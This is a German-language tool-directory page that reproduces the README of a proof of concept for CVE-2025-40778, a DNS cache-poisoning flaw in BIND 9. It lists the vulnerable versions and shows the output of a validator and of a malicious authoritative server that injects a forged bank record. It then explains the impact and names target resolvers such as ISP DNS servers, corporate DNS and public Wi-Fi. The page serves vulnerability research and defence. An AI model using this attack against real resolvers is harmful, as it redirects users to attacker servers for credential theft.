Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/nehkark/cve-2025-40778
SchwachstellenanalyseExploitationPhishingWebsicherheitLernen & BildungDNS-Analyse
GitHubnehkark/cve-2025-40778

CVE-2025-40778

Proof-of-Concept, das DNS-Cache-Poisoning durch die Injektion zusätzlicher Records in BIND 9 demonstriert, mit Werkzeugen zur Validierung und Ausnutzung von CVE-2025-40778 für autorisierte Sicherheitstests.

Repository anzeigen
52vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-40778 Proof of Concept

Pädagogische Demonstration der DNS-Cache-Poisoning-Schwachstelle durch Injektion zusätzlicher Records.

⚠️ Haftungsausschluss

NUR FÜR BILDUNGSZWECKE

Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Die unbefugte Verwendung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal und unethisch.

Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.

📋 Beschreibung

Dieser PoC demonstriert, wie ein kompromittierter autoritativer DNS-Server vergiftete Records in DNS-Antworten injizieren kann, wodurch Benutzer möglicherweise ohne ihr Wissen auf bösartige Server umgeleitet werden.

Angriffsvektor:

  • Ein kompromittierter autoritativer Nameserver injiziert zusätzliche DNS-Records
  • Vergiftete Records werden von rekursiven Resolvern zwischengespeichert
  • Benutzer, die legitime Domains abfragen, werden auf IPs umgeleitet, die vom Angreifer kontrolliert werden
  • Ermöglicht transparente Phishing-Angriffe (korrekte URL, bösartiger Server)

Mögliche Szenarien:

  • 100% transparentes Phishing (korrekte URL)
  • Umgehung von Anti-Phishing-Schulungen
  • Groß angelegte Angriffe auf Unternehmensnetzwerke
  • Persistenz (hält mit hoher TTL stundenlang an)
  • Betrifft ALLE Anwendungen
  • MFA-Umgehung (über transparenten Proxy)
  • Malware-Verteilung über Updates
  • Und vieles mehr

👤 Autor & Kontakt

  • Forscher: krakhen.dev
  • GitHub: @nehkark
  • E-Mail: [email protected]
  • ICQ: 24298753
  • Website: https://vciso.cloud
  • 🔧 Anforderungen

    root@kitploit:~
    pip install dnslib
    pip install dnspython
    pip install scapy
    

    Technische Zusammenfassung CVE-2025-40778

    🔧 DNS-Version prüfen

    Anfällige Versionen von Bind9

    • 9.11.0 – 9.16.50
    • 9.18.0 – 9.18.39
    • 9.20.0 – 9.20.13
    • 9.21.0 – 9.21.12
    root@kitploit:~
    (venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
    
    ; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
    ; (1 server found)
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
    ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
    ;; WARNING: recursion requested but not available
    
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
    ;; QUESTION SECTION:
    ;version.bind.			CH	TXT
    
    ;; ANSWER SECTION:
    version.bind.		0	CH	TXT	"9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
    
    ;; AUTHORITY SECTION:
    version.bind.		0	CH	NS	version.bind.
    
    ;; Query time: 14 msec
    ;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
    ;; WHEN: Fri Oct 31 10:51:04 -03 2025
    ;; MSG SIZE  rcvd: 134
    

    🔧 Schwachstelle auf dem DNS-Server prüfen (BIND9)

    Dieses Tool erkennt, ob es möglich ist, die Schwachstelle CVE-2025-40778 auszunutzen

    root@kitploit:~
    ============================================================
      CVE-2025-40778 - Forwarder Configuration Validator
    ============================================================
    
    Enter DNS server IP [127.0.0.1]: 200.0.0.X
    Enter domain to query [www.test.local]: www.company.com
    
    ============================================================
      CVE-2025-40778 VALIDATION - Forwarder Configuration
    ============================================================
      DNS Server: 200.0.0.X
      Domain:     www.company.com
    ============================================================
    
    [1/3] Resolution Test for www.company.com
    ------------------------------------------------------------
        [✓] www.company.com → 201.0.0.X
        → Forwarder ACTIVE for www.company.com
    
    [2/3] Additional Records Test (Poison Detection)
    ------------------------------------------------------------
        Answers:    2 records
        Authority:  1 records
        Additional: 2 records
    
        ANSWER SECTION:
        → www.company.com. 300 IN CNAME www.holding.com.
        → www.holding.com. 300 IN A 201.0.0.X
    
        ADDITIONAL SECTION:
        → [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
        → [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
    
        → [!!!] MULTIPLE ANSWERS - Possible poisoning detected
    
    [3/3] Forwarder Latency Test
    ------------------------------------------------------------
        Query 1: 5.63ms
        Query 2: 7.46ms
        Query 3: 6.04ms
        Query 4: 5.04ms
        Query 5: 5.69ms
    
        Average: 5.97ms
        → [✓] Forwarder working correctly
    
    ============================================================
      CONFIGURATION VALIDATED
    ============================================================
    

    🔧 Schritt 1: Schwachstelle CVE-2025-40778 aktivieren

    Beschreibung: In diesem Schritt starten Sie den bösartigen autoritativen DNS-Server, der einen kompromittierten Nameserver simuliert. Der Server lauscht auf einer bestimmten IP und einem bestimmten Port (127.0.0.2:5301) und ist bereit, vergiftete DNS-Records in Antworten zu injizieren. Nach der Konfiguration antwortet er auf legitime Abfragen für www.test.local mit der korrekten IP-Adresse, injiziert aber gleichzeitig einen bösartigen Record für www.bank.com, der auf eine vom Angreifer kontrollierte IP verweist. Dieses Doppelantwort-Verhalten ist der Kern des Cache-Poisoning-Angriffs – der anfällige DNS-Resolver speichert sowohl die legitime Antwort als auch den vergifteten Record zwischen, obwohl nur eine Domain angefragt wurde.

    root@kitploit:~
    (venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py 
    ============================================================
      CVE-2025-40778 PoC - poc-linux | krakhen.dev
    ============================================================
    [*] Listening: 127.0.0.2:5301
    [*] Legit:   www.test.local. → 192.168.0.136
    [*] Poison:  www.bank.com. → 192.168.0.100
    
    [✓] Running. Ctrl+C to stop.
    
    2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
    [→] Query: www.test.local.
    [✓] Legit: www.test.local. → 192.168.0.136
    [!] POISON: www.bank.com. → 192.168.0.100
    2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
    

    🔧 Schritt 2: Kompromittierung prüfen CVE-2025-40778

    Beschreibung: Hier führen Sie eine Standard-DNS-Abfrage über Ihren lokalen Resolver (BIND) durch, um zu überprüfen, ob die Infrastruktur korrekt funktioniert. Die Abfrage für www.test.local sollte wie erwartet die legitime IP-Adresse (192.168.0.136) zurückgeben. Zu diesem Zeitpunkt erscheint die Antwort für den Endbenutzer normal – es gibt keine sichtbaren Anzeichen einer Kompromittierung. Hinter den Kulissen hat der anfällige DNS-Resolver jedoch bereits beide Records zwischengespeichert: den legitimen, den Sie angefragt haben, UND den vergifteten Record für www.bank.com, der im zusätzlichen Abschnitt der Antwort injiziert wurde. Dieser Schritt bestätigt, dass Ihr DNS-Resolver erfolgreich mit dem bösartigen autoritativen Server kommuniziert und dessen Antwort verarbeitet hat.

    root@kitploit:~
    (venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
    
    ; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
    ; (1 server found)
    ;; global options: +cmd
    ;; Got answer:
    ;; WARNING: .local is reserved for Multicast DNS
    ;; You are currently testing what happens when an mDNS query is leaked to DNS
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
    
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 1232
    ; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
    ;; QUESTION SECTION:
    ;www.test.local.			IN	A
    
    ;; ANSWER SECTION:
    www.test.local.		120	IN	A	192.168.0.136
    
    ;; Query time: 1 msec
    ;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
    ;; WHEN: Fri Oct 31 10:44:57 -03 2025
    ;; MSG SIZE  rcvd: 87
    

    🔧 Schritt 3: DNS vergiften – CVE-2025-40778 aktiv

    Beschreibung: Dieser Schritt zeigt die Beweise für erfolgreiches Cache-Poisoning aus der Perspektive des Angreifers. Die Protokolle des bösartigen DNS-Servers zeigen, dass er die Abfrage für www.test.local empfangen, mit der legitimen Antwort geantwortet UND erfolgreich den vergifteten Record für www.bank.com injiziert hat. Die Notation „RRs: A,A" zeigt an, dass zwei A-Records in der Antwort gesendet wurden – einer legitim, einer bösartig. In diesem Moment ist der DNS-Cache des Opfers kompromittiert. Alle nachfolgenden Abfragen für www.bank.com von diesem Resolver geben die IP des Angreifers (192.168.0.100) zurück, anstatt der echten Bank-Website, was transparente Phishing-Angriffe ermöglicht, bei denen Benutzer die korrekte URL sehen, sich aber mit einem bösartigen Server verbinden. Der Angriff ist für Endbenutzer unsichtbar und bleibt bestehen, bis der DNS-Cache abläuft (TTL).

    root@kitploit:~
    2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
    [→] Query: www.test.local.
    [✓] Legit: www.test.local. → 192.168.0.136
    [!] POISON: www.bank.com. → 192.168.0.100
    2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
    1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
    [→] Query: www.test.local.
    [✓] Legit: www.test.local. → 192.168.0.136
    [!] POISON: www.bank.com. → 192.168.0.100
    2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
    

    📖 Fazit

    Realistisches Angriffsszenario: Die Auswirkungen verstehen

    Was das in der Praxis bedeutet:

    Stellen Sie sich vor, Sie sind ein normaler Benutzer, der versucht, die Website Ihrer Bank aufzurufen. Sie tippen sorgfältig www.bank.com in Ihren Browser ein – die URL ist zu 100% korrekt, keine Tippfehler, keine verdächtigen Links aus E-Mails. Die Adressleiste Ihres Browsers zeigt die exakte Domain, der Sie vertrauen. Alles sieht legitim aus.

    Aber hier ist, was tatsächlich hinter den Kulissen passiert ist:

    Der DNS-Server Ihres Unternehmens wurde von einem Angreifer kompromittiert, der seinen Cache mithilfe dieser Schwachstelle vergiftet hat. Wenn Ihr Computer fragt „Wo ist www.bank.com?", antwortet der vergiftete DNS mit der IP-Adresse des Servers des Angreifers anstelle der echten Bankadresse.

    Die Anatomie eines Angriffs

    • ✅ Sie sehen die korrekte URL: https://www.bank.com
    • ✅ Sie haben keinen verdächtigen E-Mail-Link angeklickt
    • ✅ Sie haben keine Malware heruntergeladen
    • ✅ Sie haben alle Sicherheits-Best-Practices befolgt
    • ❌ Aber Sie verbinden sich mit der gefälschten Website des Angreifers

    Was der Angreifer stehlen kann:

    • Anmeldedaten – Ihr Benutzername und Ihr Passwort werden in dem Moment erfasst, in dem Sie sie eingeben
    • Sitzungstokens – Selbst wenn Sie die Zwei-Faktor-Authentifizierung (2FA) verwenden, kann der Angreifer Ihre authentifizierte Sitzung abfangen
    • Persönliche Informationen – Kontonummern, Sozialversicherungsnummern, Kreditkartendaten
    • Geschäftsgeheimnisse – Unternehmens-E-Mails, vertrauliche Dokumente, API-Schlüssel

    Warum es so gefährlich ist:

    Dieser Angriff ist für das Opfer völlig unsichtbar. Es gibt keine Warnung, keine roten Flaggen, keine Möglichkeit für einen durchschnittlichen Benutzer, ihn zu erkennen. Selbst sicherheitsbewusste Fachleute können zum Opfer werden, weil der Angriff auf Infrastrukturebene stattfindet, nicht auf dem Gerät des Benutzers. Ein einziger kompromittierter DNS-Server kann Tausende von Benutzern gleichzeitig betreffen, was ihn zu einem äußerst effektiven Angriffsvektor für Cyberkriminelle macht, die Organisationen ins Visier nehmen.

    Das Fazit: CVE-2025-40778 ermöglicht es Angreifern, Vertrauen zu bewaffnen. Wenn die Infrastruktur, auf die wir uns zur Navigation im Internet verlassen, kompromittiert ist, werden selbst die vorsichtigsten Benutzer verwundbar. Deshalb ist das Verständnis, Testen und Beheben dieser Schwachstelle für die Sicherheitslage jeder Organisation von entscheidender Bedeutung.

    ⚠️ Wichtig: Die Angriffsvoraussetzungen verstehen

    Kritische Anforderung: Damit dieser Angriff gelingt, muss das Opfer den kompromittierten DNS-Resolver verwenden. Der Angriff zielt nicht direkt auf die Geräte der Endbenutzer ab – stattdessen zielt er auf die DNS-Infrastruktur, auf die Benutzer zur Navigation im Internet angewiesen sind.

    Realistische Angriffsziele:

    Das Hauptziel des Angreifers ist es, DNS-Resolver zu kompromittieren, die große Benutzergruppen bedienen. Die wertvollsten Ziele sind:

    • ISP-DNS-Server – Wenn ein Angreifer die DNS-Infrastruktur eines Internetdienstanbieters vergiftet, wird jeder Kunde, der die Standard-DNS-Einstellungen des ISP verwendet, verwundbar. Dies könnte Millionen von Privat- und Geschäftskunden gleichzeitig betreffen.
    • Unternehmens-DNS-Server – Organisationen betreiben typischerweise eigene interne DNS-Server für ihre Mitarbeiter. Die Kompromittierung dieser Server gibt Angreifern Zugriff auf die gesamte Belegschaft eines Unternehmens, was sie zu einem attraktiven Ziel für Wirtschaftsspionage oder Datendiebstahl macht.
    • Öffentliche WLAN-Netzwerke – Hotels, Flughäfen, Cafés und Konferenzzentren stellen Gästen häufig DNS-Dienste bereit. Ein kompromittiertes öffentliches WLAN-DNS kann Anmeldedaten von Geschäftsreisenden und Veranstaltungsteilnehmern abfangen.
    • Öffentliche DNS-Dienste – Obwohl stark geschützt, stellen Dienste wie Google DNS (8.8.8.8) oder Cloudflare (1.1.1.1) aufgrund ihrer massiven Benutzerbasis die Ziele mit der höchsten Wirkung dar.

    Warum das wichtig ist:

    Die Wirksamkeit des Angriffs skaliert mit der Benutzerbasis des DNS-Resolvers. Kompromittieren Sie einen ISP-DNS-Server, und Sie kompromittieren potenziell jeden Kunden, der seine DNS-Einstellungen nicht manuell geändert hat. Deshalb ist DNS-Sicherheit auf Infrastrukturebene entscheidend – ein einziger anfälliger Resolver kann eine massive Angriffsfläche schaffen, die Tausende oder Millionen von Benutzern betrifft, die darauf vertrauen, dass diese Infrastruktur sicher ist.

    Tool herunterladen